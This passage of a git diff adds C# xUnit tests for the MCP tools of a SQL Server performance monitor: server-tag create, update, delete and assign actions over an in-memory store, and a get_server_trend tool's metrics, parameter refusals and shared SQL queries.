+                    identityRow.IsDBNull(7) ? null : identityRow.GetString(7),
+                    identityRow.GetBoolean(8),
+                    identityRow.GetBoolean(9));
+                Assert.Equal(password, TestKeyRings.Healthy.Open(storedSecret!, PasswordBinding.ForServer(identity)));
+            }
+
             Assert.Equal("sql", await ScalarAsync(connection, ct, $"SELECT auth FROM config_monitored_servers WHERE server_id = {sqlId}") as string);
             Assert.Equal("Strict", await ScalarAsync(connection, ct, $"SELECT encrypt_mode FROM config_monitored_servers WHERE server_id = {sqlId}") as string);
             Assert.True((bool)(await ScalarAsync(connection, ct, $"SELECT trust_server_certificate FROM config_monitored_servers WHERE server_id = {sqlId}"))!);
diff --git a/Darling/Darling.Tests/DarlingMcpServerTagToolsTests.cs b/Darling/Darling.Tests/DarlingMcpServerTagToolsTests.cs
new file mode 100644
index 0000000000..f61a549352
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpServerTagToolsTests.cs
@@ -0,0 +1,401 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>An in-memory <see cref="IServerTagStore"/> that applies the same <see cref="ServerTagRules"/> as the
+/// real store and counts every write, so a test can prove a refusal wrote nothing.</summary>
+internal sealed class InMemoryServerTagStore : IServerTagStore
+{
+    private int _nextId = 1;
+    public List<ServerTagRow> Tags { get; } = new();
+    public List<ServerTagAssignmentRow> Assignments { get; } = new();
+    public List<TagScopedRule> Rules { get; } = new();
+    public HashSet<int> Servers { get; } = new();
+    public int Writes { get; private set; }
+
+    /// <summary>Runs once, right after a write lands and before the next snapshot read.</summary>
+    public Action? AfterWrite { get; set; }
+
+    public int Seed(string name, int? parentId = null)
+    {
+        var id = _nextId++;
+        Tags.Add(new ServerTagRow(id, name, parentId, 0, "#416FA6"));
+        return id;
+    }
+
+    public Task<ServerTagSnapshot> ReadSnapshotAsync(CancellationToken ct = default) =>
+        Task.FromResult(new ServerTagSnapshot(Tags.ToList(), Assignments.ToList(), Rules.ToList()));
+
+    public Task<IReadOnlySet<int>> FindRegisteredServerIdsAsync(IReadOnlyCollection<int> serverIds, CancellationToken ct = default) =>
+        Task.FromResult<IReadOnlySet<int>>(serverIds.Where(Servers.Contains).ToHashSet());
+
+    public Task<ServerTagWriteResult> CreateAsync(string name, int? parentId, string? colour, CancellationToken ct = default)
+    {
+        var refusal = ServerTagRules.CheckCreate(Tags, name, parentId, colour, out var cleanName, out var cleanColour);
+        if (refusal is not null)
+        {
+            return Task.FromResult(refusal);
+        }
+
+        var id = Seed(cleanName, parentId);
+        Tags[^1] = Tags[^1] with { Colour = cleanColour ?? "#416FA6" };
+        Landed();
+        return Task.FromResult<ServerTagWriteResult>(new ServerTagWriteResult.Ok(Tags.Single(t => t.Id == id)));
+    }
+
+    public Task<ServerTagWriteResult> UpdateAsync(int tagId, ServerTagEdit edit, CancellationToken ct = default)
+    {
+        var refusal = ServerTagRules.CheckUpdate(Tags, tagId, edit, out var cleanName, out var cleanColour);
+        if (refusal is not null)
+        {
+            return Task.FromResult(refusal);
+        }
+
+        var index = Tags.FindIndex(t => t.Id == tagId);
+        var row = Tags[index];
+        if (edit.HasName)
+        {
+            row = row with { Name = cleanName! };
+        }
+
+        if (edit.HasColour)
+        {
+            row = row with { Colour = cleanColour };
+        }
+
+        if (edit.HasParent)
+        {
+            row = row with { ParentId = edit.ParentId };
+        }
+
+        Tags[index] = row;
+        Landed();
+        return Task.FromResult<ServerTagWriteResult>(new ServerTagWriteResult.Ok(row));
+    }
+
+    public Task<ServerTagWriteResult> DeleteAsync(int tagId, bool confirm, CancellationToken ct = default)
+    {
+        var refusal = ServerTagRules.CheckDelete(Tags, tagId);
+        if (refusal is not null)
+        {
+            return Task.FromResult(refusal);
+        }
+
+        var gone = ServerTagRules.Descendants(Tags, tagId);
+        gone.Add(tagId);
+        var removed = Assignments.RemoveAll(a => gone.Contains(a.TagId));
+        Tags.RemoveAll(t => gone.Contains(t.Id));
+        Landed();
+        return Task.FromResult<ServerTagWriteResult>(new ServerTagWriteResult.Ok(null, removed, gone.OrderBy(i => i).ToList()));
+    }
+
+    public Task<IReadOnlyList<int>> AssignAsync(int tagId, IReadOnlyList<int> serverIds, CancellationToken ct = default)
+    {
+        var added = serverIds.Where(s => !Assignments.Any(a => a.TagId == tagId && a.ServerId == s)).ToList();
+        Assignments.AddRange(added.Select(s => new ServerTagAssignmentRow(s, tagId)));
+        Landed();
+        return Task.FromResult<IReadOnlyList<int>>(added);
+    }
+
+    public Task<IReadOnlyList<int>> UnassignAsync(int tagId, IReadOnlyList<int> serverIds, CancellationToken ct = default)
+    {
+        var removed = serverIds.Where(s => Assignments.Any(a => a.TagId == tagId && a.ServerId == s)).ToList();
+        Assignments.RemoveAll(a => a.TagId == tagId && removed.Contains(a.ServerId));
+        Landed();
+        return Task.FromResult<IReadOnlyList<int>>(removed);
+    }
+
+    public Task<bool> HasChildrenAsync(int tagId, CancellationToken ct = default) =>
+        Task.FromResult(Tags.Any(t => t.ParentId == tagId));
+
+    public Task ClearForServerAsync(int serverId, CancellationToken ct = default) => Task.CompletedTask;
+
+    private void Landed()
+    {
+        Writes++;
+        AfterWrite?.Invoke();
+    }
+}
+
+/// <summary>The cores of the five server-tag write tools over <see cref="InMemoryServerTagStore"/> (#5085).</summary>
+public sealed class DarlingMcpServerTagToolsTests
+{
+    private static readonly string[] ExpectedSurface =
+    {
+        "assign_server_tag", "create_server_tag", "delete_server_tag", "unassign_server_tag", "update_server_tag",
+    };
+
+    private static JsonObject Parse(string json) => (JsonObject)JsonNode.Parse(json)!;
+
+    private static InMemoryServerTagStore Store()
+    {
+        var store = new InMemoryServerTagStore();
+        store.Servers.UnionWith(new[] { 1, 2, 3 });
+        return store;
+    }
+
+    [Fact]
+    public async Task Create_ReturnsTheStoredTag_AndEveryRefusalWritesNothing()
+    {
+        var store = Store();
+        var prod = store.Seed("Prod");
+        var created = Parse(await DarlingMcpServerTagTools.CreateServerTagCore(store, " East ", prod, "#aabbcc"));
+        Assert.Equal("created", (string?)created["status"]);
+        Assert.Equal("East", (string?)created["tag"]!["name"]);
+        Assert.Equal("#AABBCC", (string?)created["tag"]!["colour"]);
+        Assert.Equal("Prod / East", (string?)created["tag"]!["path"]);
+        Assert.Equal(1, store.Writes);
+
+        var cases = new (string? Name, int? Parent, string? Colour, string Status, string Code)[]
+        {
+            ("  ", null, null, "invalid", "bad_name"),
+            ("X", null, "red", "invalid", "bad_colour"),
+            ("east", prod, null, "conflict", "duplicate_name"),
+            ("X", 999, null, "not_found", "unknown_parent"),
+        };
+        foreach (var c in cases)
+        {
+            var result = Parse(await DarlingMcpServerTagTools.CreateServerTagCore(store, c.Name, c.Parent, c.Colour));
+            Assert.Equal(c.Status, (string?)result["status"]);
+            Assert.Equal(c.Code, (string?)result["refusal"]);
+        }
+
+        var l2 = store.Seed("L2", prod);
+        var l3 = store.Seed("L3", l2);
+        var l4 = store.Seed("L4", l3);
+        var depth = Parse(await DarlingMcpServerTagTools.CreateServerTagCore(store, "L5", l4, null));
+        Assert.Equal("depth_limit", (string?)depth["refusal"]);
+        Assert.Equal(1, store.Writes);
+    }
+
+    [Fact]
+    public async Task Update_ReReadsTheStoredRow_NotTheWriteResult()
+    {
+        var store = Store();
+        var tag = store.Seed("Prod");
+        /* The fake rewrites the row after the write lands: a core that echoed the write result would report the
+           requested name; one that re-reads reports what the store holds. */
+        store.AfterWrite = () => store.Tags[0] = store.Tags[0] with { Name = "Prod (stored)" };
+        var result = Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, tag, "{\"name\":\"Production\"}"));
+        Assert.Equal("updated", (string?)result["status"]);
+        Assert.Equal("Prod (stored)", (string?)result["tag"]!["name"]);
+        Assert.Equal("name", (string?)result["updated_fields"]![0]);
+    }
+
+    [Fact]
+    public async Task Update_NothingDiffers_IsUnchanged_AndCaseOnlyRenameIsAChange()
+    {
+        var store = Store();
+        var tag = store.Seed("Prod");
+        var same = Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, tag, "{\"name\":\"Prod\",\"parent_id\":null}"));
+        Assert.Equal("unchanged", (string?)same["status"]);
+        Assert.Equal(0, store.Writes);
+
+        var cased = Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, tag, "{\"name\":\"PROD\"}"));
+        Assert.Equal("updated", (string?)cased["status"]);
+    }
+
+    [Theory]
+    [InlineData("{\"nope\":1}", "unknown_field")]
+    [InlineData("{\"tag_id\":3}", "unknown_field")]
+    [InlineData("{\"id\":3}", "unknown_field")]
+    [InlineData("{\"sort_order\":3}", "unknown_field")]
+    [InlineData("{\"name\":\"  \"}", "bad_name")]
+    [InlineData("{\"name\":null}", "bad_name")]
+    [InlineData("{\"colour\":\"\"}", "bad_colour")]
+    [InlineData("{}", "invalid")]
+    [InlineData("[1]", "invalid")]
+    [InlineData("not json", "invalid")]
+    public async Task Update_ChangesJsonRefusals_WriteNothing(string json, string code)
+    {
+        var store = Store();
+        var tag = store.Seed("Prod");
+        var result = Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, tag, json));
+        Assert.Equal("invalid", (string?)result["status"]);
+        Assert.Equal(code, (string?)result["refusal"]);
+        Assert.Equal(0, store.Writes);
+    }
+
+    [Fact]
+    public async Task Update_CycleDepthDuplicateAndMissing_WriteNothing()
+    {
+        var store = Store();
+        var a = store.Seed("A");
+        var b = store.Seed("B", a);
+        var c = store.Seed("C", b);
+        store.Seed("A2");
+        Assert.Equal("cycle", (string?)Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, a, $"{{\"parent_id\":{c}}}"))["refusal"]);
+        Assert.Equal("not_found", (string?)Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, 99, "{\"name\":\"Z\"}"))["status"]);
+        Assert.Equal("unknown_parent", (string?)Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, a, "{\"parent_id\":99}"))["refusal"]);
+        Assert.Equal("conflict", (string?)Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, a, "{\"name\":\"a2\"}"))["status"]);
+        Assert.Equal(0, store.Writes);
+    }
+
+    [Fact]
+    public async Task Update_AMoveNamesTheRulesOnTheOldAndNewAncestors()
+    {
+        var store = Store();
+        var east = store.Seed("East");
+        var west = store.Seed("West");
+        var leaf = store.Seed("Leaf", east);
+        store.Assignments.Add(new ServerTagAssignmentRow(1, leaf));
+        store.Rules.Add(new TagScopedRule(10, "east-rule", true, east));
+        store.Rules.Add(new TagScopedRule(11, "west-rule", true, west));
+        var result = Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, leaf, $"{{\"parent_id\":{west}}}"));
+        var rules = result["affected_rules"]!.AsArray().ToDictionary(r => (long)r!["rule_id"]!, r => (string?)r!["effect"]);
+        Assert.Equal("loses_servers", rules[10]);
+        Assert.Equal("gains_servers", rules[11]);
+    }
+
+    [Fact]
+    public async Task Delete_WithRulesInTheSubtree_NeedsConfirm_ThenDeletes()
+    {
+        var store = Store();
+        var parent = store.Seed("Prod");
+        var child = store.Seed("East", parent);
+        store.Assignments.Add(new ServerTagAssignmentRow(1, child));
+        store.Rules.Add(new TagScopedRule(7, "east-rule", true, child));
+
+        var refused = Parse(await DarlingMcpServerTagTools.DeleteServerTagCore(store, parent, false));
+        Assert.Equal("confirm_required", (string?)refused["status"]);
+        Assert.Equal("rules_affected", (string?)refused["refusal"]);
+        Assert.Equal(7, (long)refused["affected_rules"]![0]!["rule_id"]!);
+        Assert.Equal("orphaned", (string?)refused["affected_rules"]![0]!["effect"]);
+        Assert.Equal(0, store.Writes);
+        Assert.Equal(2, store.Tags.Count);
+
+        var done = Parse(await DarlingMcpServerTagTools.DeleteServerTagCore(store, parent, true));
+        Assert.Equal("deleted", (string?)done["status"]);
+        Assert.Equal(1, (int)done["removed_assignments"]!);
+        Assert.Equal(2, done["deleted_tag_ids"]!.AsArray().Count);
+        Assert.Equal("orphaned", (string?)done["affected_rules"]![0]!["effect"]);
+        Assert.Empty(store.Tags);
+    }
+
+    [Fact]
+    public async Task Delete_WithNoRules_NeedsNoConfirm_AndAMissingTagIsNotFound()
+    {
+        var store = Store();
+        var tag = store.Seed("Prod");
+        Assert.Equal("not_found", (string?)Parse(await DarlingMcpServerTagTools.DeleteServerTagCore(store, 99, true))["status"]);
+        Assert.Equal(0, store.Writes);
+        Assert.Equal("deleted", (string?)Parse(await DarlingMcpServerTagTools.DeleteServerTagCore(store, tag, false))["status"]);
+    }
+
+    [Fact]
+    public async Task Assign_ReportsAddedAndAlreadyAssigned_AndUnknownServerWritesNothing()
+    {
+        var store = Store();
+        var tag = store.Seed("Prod");
+        store.Assignments.Add(new ServerTagAssignmentRow(1, tag));
+        store.Rules.Add(new TagScopedRule(5, "r", true, tag));
+
+        var unknown = Parse(await DarlingMcpServerTagTools.AssignServerTagCore(store, tag, new[] { 2, 77 }));
+        Assert.Equal("not_found", (string?)unknown["status"]);
+        Assert.Equal("unknown_server", (string?)unknown["refusal"]);
+        Assert.Equal(77, (int)unknown["unknown_server_ids"]![0]!);
+        Assert.Equal(0, store.Writes);
+
+        var result = Parse(await DarlingMcpServerTagTools.AssignServerTagCore(store, tag, new[] { 1, 2, 2, 3 }));
+        Assert.Equal("assigned", (string?)result["status"]);
+        Assert.Equal(new[] { 2, 3 }, result["added_server_ids"]!.AsArray().Select(n => (int)n!).ToArray());
+        Assert.Equal(new[] { 1 }, result["already_assigned_server_ids"]!.AsArray().Select(n => (int)n!).ToArray());
+        Assert.Equal("gains_servers", (string?)result["affected_rules"]![0]!["effect"]);
+
+        var again = Parse(await DarlingMcpServerTagTools.AssignServerTagCore(store, tag, new[] { 1, 2 }));
+        Assert.Equal("unchanged", (string?)again["status"]);
+        Assert.Equal(1, store.Writes);
+    }
+
+    [Fact]
+    public async Task Unassign_ReportsRemovedAndNotAssigned_AndNamesTheRulesLosingServers()
+    {
+        var store = Store();
+        var tag = store.Seed("Prod");
+        store.Assignments.Add(new ServerTagAssignmentRow(1, tag));
+        store.Rules.Add(new TagScopedRule(5, "r", true, tag));
+
+        var result = Parse(await DarlingMcpServerTagTools.UnassignServerTagCore(store, tag, new[] { 1, 2 }));
+        Assert.Equal("unassigned", (string?)result["status"]);
+        Assert.Equal(new[] { 1 }, result["removed_server_ids"]!.AsArray().Select(n => (int)n!).ToArray());
+        Assert.Equal(new[] { 2 }, result["not_assigned_server_ids"]!.AsArray().Select(n => (int)n!).ToArray());
+        Assert.Equal("loses_servers", (string?)result["affected_rules"]![0]!["effect"]);
+
+        var none = Parse(await DarlingMcpServerTagTools.UnassignServerTagCore(store, tag, new[] { 2 }));
+        Assert.Equal("unchanged", (string?)none["status"]);
+    }
+
+    [Fact]
+    public async Task AssignAndUnassign_RefuseBadIdLists_AndAMissingTag_WithoutWriting()
+    {
+        var store = Store();
+        var tag = store.Seed("Prod");
+        Assert.Equal("invalid", (string?)Parse(await DarlingMcpServerTagTools.AssignServerTagCore(store, tag, Array.Empty<int>()))["status"]);
+        Assert.Equal("invalid", (string?)Parse(await DarlingMcpServerTagTools.UnassignServerTagCore(store, tag, Enumerable.Range(1, 1001).ToArray()))["status"]);
+        Assert.Equal("not_found", (string?)Parse(await DarlingMcpServerTagTools.AssignServerTagCore(store, 99, new[] { 1 }))["status"]);
+        Assert.Equal("not_found", (string?)Parse(await DarlingMcpServerTagTools.UnassignServerTagCore(store, 99, new[] { 1 }))["status"]);
+        Assert.Equal(0, store.Writes);
+    }
+
+    [Fact]
+    public async Task ATagDeletedBetweenWriteAndReadBack_IsReportedAsDeletedConcurrently()
+    {
+        var store = Store();
+        var tag = store.Seed("Prod");
+        store.AfterWrite = () => store.Tags.Clear();
+        var result = Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, tag, "{\"name\":\"Production\"}"));
+        Assert.Equal("not_found", (string?)result["status"]);
+        Assert.Contains("deleted concurrently", (string?)result["message"], StringComparison.Ordinal);
+
+        var store2 = Store();
+        store2.AfterWrite = () => store2.Tags.Clear();
+        var assign = Parse(await DarlingMcpServerTagTools.AssignServerTagCore(store2, store2.Seed("X"), new[] { 1 }));
+        Assert.Equal("not_found", (string?)assign["status"]);
+    }
+
+    [Fact]
+    public void TheSurface_IsExactlyTheFiveNamedTools_WithTheirParameters()
+    {
+        var methods = typeof(DarlingMcpServerTagTools)
+            .GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance)
+            .Where(m => m.GetCustomAttribute<McpServerToolAttribute>() is not null)
+            .ToDictionary(m => m.GetCustomAttribute<McpServerToolAttribute>()!.Name!, StringComparer.Ordinal);
+        Assert.Equal(ExpectedSurface, methods.Keys.OrderBy(n => n, StringComparer.Ordinal).ToArray());
+        Assert.NotNull(typeof(DarlingMcpServerTagTools).GetCustomAttribute<McpServerToolTypeAttribute>());
+
+        string[] Names(string tool) => methods[tool].GetParameters().Select(p => p.Name!).ToArray();
+        Assert.Equal(new[] { "postgres", "name", "parent_id", "colour", "cancellationToken" }, Names("create_server_tag"));
+        Assert.Equal(new[] { "postgres", "tag_id", "changes_json", "cancellationToken" }, Names("update_server_tag"));
+        Assert.Equal(new[] { "postgres", "tag_id", "confirm", "cancellationToken" }, Names("delete_server_tag"));
+        Assert.Equal(new[] { "postgres", "tag_id", "server_ids", "cancellationToken" }, Names("assign_server_tag"));
+        Assert.Equal(new[] { "postgres", "tag_id", "server_ids", "cancellationToken" }, Names("unassign_server_tag"));
+        Assert.All(methods.Values, m => Assert.True(m.GetCustomAttribute<System.ComponentModel.DescriptionAttribute>()!.Description.Length <= 600));
+    }
+
+    [Fact]
+    public void TheHost_RegistersTheClass_RightAfterTheCustomAlertTools()
+    {
+        var source = System.IO.File.ReadAllText(System.IO.Path.Combine(AppContext.BaseDirectory, "Fixtures", "DarlingMcpHostService.cs"));
+        var alert = source.IndexOf("WithGeminiCompatibleTools<DarlingMcpCustomAlertTools>()", StringComparison.Ordinal);
+        var tags = source.IndexOf("WithGeminiCompatibleTools<DarlingMcpServerTagTools>()", StringComparison.Ordinal);
+        Assert.True(alert > 0 && tags > alert, "DarlingMcpServerTagTools must be registered after DarlingMcpCustomAlertTools.");
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpServerTrendToolsTests.cs b/Darling/Darling.Tests/DarlingMcpServerTrendToolsTests.cs
new file mode 100644
index 0000000000..1d8258fe67
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpServerTrendToolsTests.cs
@@ -0,0 +1,728 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The shape of <c>get_server_trend</c> (#4843): one tool, a closed <c>metric</c> switch, the standard trend
+/// parameters, a hand-registered web read, and one shared SQL text for the viewer's chart reads and the tool.
+/// </summary>
+public sealed class DarlingMcpServerTrendToolsTests
+{
+    [Fact]
+    public void TheTool_IsRegistered_WithTheStandardTrendParameters()
+    {
+        var method = typeof(DarlingMcpServerTrendTools).GetMethods(BindingFlags.Public | BindingFlags.Static)
+            .Single(m => m.GetCustomAttribute<McpServerToolAttribute>()?.Name == "get_server_trend");
+        var names = method.GetParameters().Select(p => p.Name).ToArray();
+
+        Assert.Equal(["postgres", "metric", "server_name", "hours_back", "as_of", "bucket_minutes", "clerk_types", "names", "cancellationToken"], names);
+        Assert.Contains("DarlingMcpServerTrendTools", RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpHostService.cs"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheMetricList_IsTheElevenShipped_AndEveryOneIsNamedInTheDescription()
+    {
+        Assert.Equal(["total_waits", "cpu_scheduler", "memory_clerks", "plan_cache", "latch", "spinlock", "session_stats", "collector_duration", "tempdb_file_io", "tempdb_size", "file_io_throughput"], DarlingMcpServerTrendTools.Metrics);
+        var served = McpToolGuideTests.Served("get_server_trend");
+        foreach (var metric in DarlingMcpServerTrendTools.Metrics)
+        {
+            Assert.Contains(metric, served.Served, StringComparison.Ordinal);
+        }
+
+        Assert.Contains(BaselineDiscontinuities.DescriptionSentence, served.Tail! + served.Served, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AnUnknownMetric_IsRefused_BeforeAnythingIsRead()
+    {
+        var answer = await DarlingMcpServerTrendTools.GetServerTrend(null!, "tempdb_nope", null, 24, null, null, null, null, TrendBudget.Mcp(DarlingMcpServerTrendTools.MaxPoints));
+        Assert.True(McpHelpers.IsRefusalEnvelope(answer));
+        Assert.Contains("total_waits, cpu_scheduler, memory_clerks, plan_cache, latch, spinlock, session_stats, collector_duration, tempdb_file_io, tempdb_size, file_io_throughput", answer, StringComparison.Ordinal);
+
+        var missing = await DarlingMcpServerTrendTools.GetServerTrend(null!, null, null, 24, null, null, null, null, TrendBudget.Mcp(DarlingMcpServerTrendTools.MaxPoints));
+        Assert.True(McpHelpers.IsRefusalEnvelope(missing));
+    }
+
+    [Fact]
+    public async Task ClerkTypes_OnAnotherMetric_OrOverTheCap_AreRefused()
+    {
+        var wrongMetric = await DarlingMcpServerTrendTools.GetServerTrend(null!, "plan_cache", null, 24, null, null, "MEMORYCLERK_SQLBUFFERPOOL", null, TrendBudget.Mcp(DarlingMcpServerTrendTools.MaxPoints));
+        Assert.True(McpHelpers.IsRefusalEnvelope(wrongMetric));
+
+        var tooMany = string.Join(",", Enumerable.Range(0, DarlingMcpServerTrendTools.MaxClerkCount + 1).Select(i => "C" + i));
+        var over = await DarlingMcpServerTrendTools.GetServerTrend(null!, "memory_clerks", null, 24, null, null, tooMany, null, TrendBudget.Mcp(DarlingMcpServerTrendTools.MaxPoints));
+        Assert.True(McpHelpers.IsRefusalEnvelope(over));
+    }
+
+    [Fact]
+    public async Task Names_OnAMetricThatTakesNone_OrOverTheCap_AreRefused_AndClerkTypesStayMemoryClerksOnly()
+    {
+        var budget = TrendBudget.Mcp(DarlingMcpServerTrendTools.MaxPoints);
+        foreach (var metric in new[] { "total_waits", "cpu_scheduler", "memory_clerks", "plan_cache", "session_stats", "tempdb_size" })
+        {
+            var wrong = await DarlingMcpServerTrendTools.GetServerTrend(null!, metric, null, 24, null, null, null, "A", budget);
+            Assert.True(McpHelpers.IsRefusalEnvelope(wrong), metric);
+        }
+
+        var tooMany = string.Join(",", Enumerable.Range(0, DarlingMcpServerTrendTools.MaxClerkCount + 1).Select(i => "N" + i));
+        foreach (var metric in new[] { "latch", "spinlock", "collector_duration", "tempdb_file_io", "file_io_throughput" })
+        {
+            Assert.True(McpHelpers.IsRefusalEnvelope(await DarlingMcpServerTrendTools.GetServerTrend(null!, metric, null, 24, null, null, null, tooMany, budget)), metric);
+            Assert.True(McpHelpers.IsRefusalEnvelope(await DarlingMcpServerTrendTools.GetServerTrend(null!, metric, null, 24, null, null, "CLERK", null, budget)), metric);
+        }
+    }
+
+    [Fact]
+    public void EveryFieldNameANoteMentions_IsAFieldThatMetricEmits()
+    {
+        var allowedParameters = new[] { "bucket_minutes", "hours_back" };
+        foreach (var metric in DarlingMcpServerTrendTools.Metrics)
+        {
+            var emitted = DarlingMcpServerTrendTools.Fields(metric);
+            Assert.NotEmpty(emitted);
+            var note = DarlingMcpServerTrendTools.Note(metric, 5, false, 120);
+            var words = System.Text.RegularExpressions.Regex.Matches(note, "[a-z]+(?:_[a-z]+)+").Select(m => m.Value).Distinct().ToArray();
+            Assert.DoesNotContain(words, w => w.StartsWith("peak_", StringComparison.Ordinal) || w.StartsWith("worst_", StringComparison.Ordinal));
+            Assert.All(words, w => Assert.True(emitted.Contains(w) || allowedParameters.Contains(w), $"{metric}: the note names '{w}', which the metric does not emit"));
+        }
+
+        Assert.Contains("wait_time_ms_per_second", DarlingMcpServerTrendTools.Note("total_waits", 5, false, 120), StringComparison.Ordinal);
+        Assert.Contains("averages as 0", DarlingMcpServerTrendTools.Note("cpu_scheduler", 5, false, 120), StringComparison.Ordinal);
+        Assert.Contains("collisions_per_second", DarlingMcpServerTrendTools.Note("spinlock", 5, false, 120), StringComparison.Ordinal);
+        Assert.Contains("max_duration_ms", DarlingMcpServerTrendTools.Note("collector_duration", 5, false, 120), StringComparison.Ordinal);
+        Assert.Contains("top_host_name", DarlingMcpServerTrendTools.Note("session_stats", 5, false, 120), StringComparison.Ordinal);
+        Assert.Contains("avg_read_latency_ms", DarlingMcpServerTrendTools.Note("tempdb_file_io", 5, false, 120), StringComparison.Ordinal);
+        Assert.Contains("allocated_mb", DarlingMcpServerTrendTools.Note("tempdb_size", 5, false, 120), StringComparison.Ordinal);
+        Assert.Contains("write_mb_per_sec", DarlingMcpServerTrendTools.Note("file_io_throughput", 5, false, 120), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheDescription_SaysWhereTheUnmatchedNamesAreReported()
+    {
+        var method = typeof(DarlingMcpServerTrendTools).GetMethods().First(m => m.Name == "GetServerTrend" && m.IsPublic);
+        var text = method.GetCustomAttribute<System.ComponentModel.DescriptionAttribute>()!.Description;
+        Assert.Contains("missing_names", text, StringComparison.Ordinal);
+        var param = method.GetParameters().First(p => p.Name == "names").GetCustomAttribute<System.ComponentModel.DescriptionAttribute>()!.Description;
+        Assert.Contains("exact case", param, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheLatchAndSpinlockReads_BindTheNamesThenTheWidth_AndKeepTheViewersRateRule()
+    {
+        foreach (var sql in new[] { ServerTrendSql.LatchWaits(3), ServerTrendSql.SpinlockCollisions(3), ServerTrendSql.CollectorDurations(3) })
+        {
+            Assert.Contains("IN ($4, $5, $6)", sql, StringComparison.Ordinal);
+            Assert.Contains("CAST($7 AS integer)", sql, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("NULLIF(sample_interval_seconds, 0)", ServerTrendSql.LatchWaits(1), StringComparison.Ordinal);
+        Assert.Contains("PARTITION BY spinlock_name", ServerTrendSql.SpinlockCollisions(1), StringComparison.Ordinal);
+        Assert.Contains("status = 'SUCCESS'", ServerTrendSql.CollectorDurations(1), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTempDbAndFileIoReads_BindTheNamesThenTheWidth_AndKeepTheViewersRules()
+    {
+        foreach (var sql in new[] { ServerTrendSql.TempDbFileIo(3), ServerTrendSql.FileIoThroughput(3) })
+        {
+            Assert.Contains("IN ($4, $5, $6)", sql, StringComparison.Ordinal);
+            Assert.Contains("CAST($7 AS integer)", sql, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("database_name = 'tempdb'", ServerTrendSql.TempDbFileIo(1), StringComparison.Ordinal);
+        Assert.Contains("NULLIF(sample_interval_seconds, 0)", ServerTrendSql.FileIoThroughput(1), StringComparison.Ordinal);
+        Assert.Contains("PARTITION BY server_id, database_name, file_name", ServerTrendSql.FileIoThroughput(1), StringComparison.Ordinal);
+        Assert.Contains("delta_read_bytes IS NOT NULL", ServerTrendSql.FileIoThroughput(1), StringComparison.Ordinal);
+        Assert.Contains("total_reserved_mb", ServerTrendSql.TempDbSize, StringComparison.Ordinal);
+        Assert.Contains("unallocated_mb", ServerTrendSql.TempDbSize, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheDescription_SaysClerkNamesAreExact_AndWhereTheUnmatchedOnesAreReported()
+    {
+        var method = typeof(DarlingMcpServerTrendTools).GetMethods().First(m => m.Name == "GetServerTrend" && m.IsPublic);
+        var text = method.GetCustomAttribute<System.ComponentModel.DescriptionAttribute>()!.Description;
+        Assert.Contains("missing_clerk_types", text, StringComparison.Ordinal);
+        Assert.Contains("matched exactly", text, StringComparison.Ordinal);
+        var param = method.GetParameters().First(p => p.Name == "clerk_types").GetCustomAttribute<System.ComponentModel.DescriptionAttribute>()!.Description;
+        Assert.Contains("exact case", param, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ParseClerks_TrimsAndDeduplicates_InGivenOrder()
+    {
+        Assert.Equal(["B", "A"], DarlingMcpServerTrendTools.ParseClerks(" B, A ,,B"));
+        Assert.Empty(DarlingMcpServerTrendTools.ParseClerks("  "));
+    }
+
+    [Fact]
+    public void TheViewerCharts_AndTheTool_ShareOneSqlText()
+    {
+        Assert.Equal(ServerTrendSql.TotalWaits, ViewerDataService_TotalWaitSql());
+        Assert.Equal(ServerTrendSql.CpuScheduler, ViewerCpuSql());
+        Assert.Equal(ServerTrendSql.PlanCache, ViewerPlanCacheSql());
+        Assert.Equal(ServerTrendSql.MemoryClerks(3), ViewerMemoryClerksSql(3));
+        Assert.Equal(ServerTrendSql.SessionSummary, PerformanceMonitor.Darling.Viewer.ViewerDataService.SessionStatsSql);
+    }
+
+    private static string ViewerDataService_TotalWaitSql() => PerformanceMonitor.Darling.Viewer.ViewerDataService.TotalWaitTrendSql;
